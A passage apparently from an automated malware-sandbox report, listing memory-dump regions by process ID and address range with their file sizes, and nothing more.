                                                                                                                                                                                                                                                            • memory/3872-232-0x00000000079F0000-0x00000000079F1000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                            • memory/3872-212-0x00000000048E0000-0x00000000048E1000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                            • memory/3872-283-0x0000000009780000-0x0000000009781000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                            • memory/3872-269-0x0000000009320000-0x0000000009321000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                            • memory/3872-236-0x0000000007AF0000-0x0000000007AF1000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                            • memory/3872-215-0x00000000070D0000-0x00000000070D1000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                            • memory/3872-240-0x0000000007BE0000-0x0000000007BE1000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                            • memory/3872-238-0x0000000007B70000-0x0000000007B71000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                            • memory/3872-274-0x00000000094F0000-0x00000000094F1000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                            • memory/3872-228-0x0000000007700000-0x0000000007701000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                            • memory/3872-273-0x0000000009480000-0x0000000009481000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                            • memory/3936-459-0x0000000004DD0000-0x00000000053E8000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              6.1MB

                                                                                                                                                                                                                                                            • memory/4028-489-0x0000000002DA0000-0x0000000002DCF000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              188KB

                                                                                                                                                                                                                                                            • memory/4060-318-0x00000000050B0000-0x00000000056C8000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              6.1MB

                                                                                                                                                                                                                                                            • memory/4112-758-0x00000000019A0000-0x00000000019A2000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              8KB

                                                                                                                                                                                                                                                            • memory/4144-777-0x0000000002F60000-0x0000000002F80000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              128KB

                                                                                                                                                                                                                                                            • memory/4144-772-0x0000000140000000-0x0000000140763000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              7.4MB

                                                                                                                                                                                                                                                            • memory/4292-252-0x0000000005330000-0x0000000005331000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                            • memory/4292-253-0x0000000005190000-0x0000000005191000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                            • memory/4292-268-0x0000000005050000-0x0000000005668000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              6.1MB

                                                                                                                                                                                                                                                            • memory/4292-249-0x0000000005670000-0x0000000005671000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                            • memory/4292-245-0x0000000000400000-0x0000000000422000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              136KB

                                                                                                                                                                                                                                                            • memory/4292-250-0x00000000050F0000-0x00000000050F1000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                            • memory/4292-251-0x0000000005220000-0x0000000005221000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                            • memory/4408-713-0x0000000005650000-0x0000000005C68000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              6.1MB

                                                                                                                                                                                                                                                            • memory/4588-237-0x0000000002D90000-0x0000000002DD8000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              288KB

                                                                                                                                                                                                                                                            • memory/4620-231-0x0000000002200000-0x0000000002201000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                            • memory/4632-233-0x00000000048B0000-0x0000000004981000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              836KB

                                                                                                                                                                                                                                                            • memory/4692-424-0x0000000002580000-0x0000000002582000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              8KB

                                                                                                                                                                                                                                                            • memory/4728-168-0x0000000064940000-0x0000000064959000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              100KB

                                                                                                                                                                                                                                                            • memory/4728-166-0x0000000064940000-0x0000000064959000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              100KB

                                                                                                                                                                                                                                                            • memory/4728-169-0x0000000064940000-0x0000000064959000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              100KB

                                                                                                                                                                                                                                                            • memory/4728-164-0x000000006B440000-0x000000006B4CF000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              572KB

                                                                                                                                                                                                                                                            • memory/4728-165-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              1.5MB

                                                                                                                                                                                                                                                            • memory/4728-163-0x0000000064940000-0x0000000064959000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              100KB

                                                                                                                                                                                                                                                            • memory/4728-167-0x000000006B280000-0x000000006B2A6000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              152KB

                                                                                                                                                                                                                                                            • memory/4732-591-0x0000000004D70000-0x0000000005388000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              6.1MB

                                                                                                                                                                                                                                                            • memory/4788-426-0x0000000005D70000-0x0000000006388000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              6.1MB

                                                                                                                                                                                                                                                            • memory/4896-452-0x0000000005270000-0x0000000005271000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                            • memory/4900-442-0x0000000000400000-0x0000000000414000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              80KB

                                                                                                                                                                                                                                                            • memory/4972-332-0x0000000005400000-0x0000000005A18000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              6.1MB

                                                                                                                                                                                                                                                            • memory/4984-752-0x0000000005430000-0x0000000005A48000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              6.1MB

                                                                                                                                                                                                                                                            • memory/5136-456-0x00000000021A0000-0x00000000021A1000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                            • memory/5164-502-0x0000000005030000-0x0000000005648000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              6.1MB

                                                                                                                                                                                                                                                            • memory/5316-455-0x0000000000400000-0x0000000000414000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              80KB

                                                                                                                                                                                                                                                            • memory/5388-470-0x0000000004D00000-0x0000000004D66000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              408KB

                                                                                                                                                                                                                                                            • memory/5456-633-0x0000000005200000-0x0000000005818000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              6.1MB

                                                                                                                                                                                                                                                            • memory/5588-520-0x000000001B780000-0x000000001B782000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              8KB

                                                                                                                                                                                                                                                            • memory/5624-531-0x0000000005400000-0x0000000005A18000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              6.1MB

                                                                                                                                                                                                                                                            • memory/5768-522-0x0000000004F60000-0x0000000004F61000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                            • memory/5800-759-0x000000001CAA0000-0x000000001CAA2000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              8KB

                                                                                                                                                                                                                                                            • memory/6020-560-0x0000000002E10000-0x000000000372E000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              9.1MB